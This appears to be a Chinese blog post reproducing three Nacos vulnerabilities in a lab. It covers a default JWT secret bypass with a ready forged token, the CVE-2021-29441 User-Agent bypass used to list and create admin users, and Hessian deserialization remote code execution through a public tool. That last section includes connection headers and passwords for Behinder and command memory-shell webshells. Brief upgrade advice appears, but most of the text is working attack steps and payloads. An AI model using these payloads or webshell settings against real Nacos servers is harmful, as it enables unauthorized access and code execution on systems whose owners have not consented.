nacos系列漏洞复现

0u0zzz2023-07-13文章来源:SecHub网络安全社区


一、简介

nacos是阿里巴巴的一个开源项目,旨在帮助构建云原生应用程序和微服务平台

二、环境搭建

下载文件,该文件为gz压缩文件

wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

转移目录

cd nacos/bin

运行nacos

./startup.sh -m standalone

关闭nacos

./shutdown.sh

访问url:

http://192.168.1.128:8848/nacos/#/login

默认账号密码

nacos/nacos

三、nacos身份绕过漏洞

原理

nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。

也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击

对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击

对应就是数据包的accesstoken

影响版本

0.1.0 <= Nacos <= 2.2.0

第一种复现

访问url:

http://192.168.1.128:8848/nacos/#/login

登陆抓包

拦截返回包填写poc

POC

HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206

{
 "accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
 "tokenTtl": 18000,
 "globalAdmin": false,
 "username": "nacos"
}

成功登录后台

修复建议

升级到最新版nacos

修改token.secret.key的值

参考:

https://www.cnblogs.com/0vers1eep/p/17226608.html
https://mp.weixin.qq.com/s?src=11&timestamp=1688698851&ver=4635&signature=9oSwwPFu8Rj0T9S4Y2wphhDWoF*3swqweCW*kX1YPjTEN3VJvHo51RDv6WlMdyZrFcNpsj*AMXN3p7w2pGiIb*FP5Unnkb-8LUfHFEcWBXBUYf9QdXsPb7mM2ayaAhaq&new=1

四、Nacos 身份验证绕过漏洞(CVE-2021-29441)

原理

<1.4.1及更早版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为"Nacos-Server",如果是的话则不进行任何认证。

影响版本

nacos<1.4.1

复现

在vulhub上搭建环境

cd /root/桌面/docker/vulhub/nacos/CVE-2021-29441/
docker-compose up -d

开启burp抓包

http://192.168.111.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

把UA改成Nacos-Server

1.成功访问,绕过鉴权,返回用户列表数据

2.绕过鉴权 添加新用户

请求行改成:

POST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1

ua改成:Nacos-Server

成功添加一个hglight/hglight的用户

3.再次查看用户列表

4.登录

五、nacos Hessian反序列化

原理

nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致rce

影响版本

nacos 1.x在单机模式下默认不开放7848端口,但是集群模式下受影响。

2.x版本无论单机还是集群均开放7848端口

主要受影响的是7848端口的Jraft服务。

受影响版本

  • 1.4.0 <= Nacos < 1.4.6
  • 2.0.0 <= Nacos < 2.2.3

不受影响****版本

  • Nacos < 1.4.0
  • 1.4.6 <= Nacos < 2.0.0
  • Nacos >= 2.2.3

复现

利用nacos2.2.0的环境

使用github上面的工具

https://github.com/c0olw/NacosRce/releases/tag/v0.5

java -jar NacosRce.jar  http://192.168.1.128:8848/nacos/#/login  7848 "whoami" 

我这里试的 只有前几次 能利用成功 后面好像都不咋行

冰蝎3.0连接

需要设置请求头x-client-data:rebeyond

设置Referer:https://www.google.com/

路径随意

密码rebeyond

cmd内存马

需要设置请求头x-client-data:cmd

设置Referer:https://www.google.com/

请求头cmd:要执行的命令

参考:

https://y4er.com/posts/nacos-hessian-rce/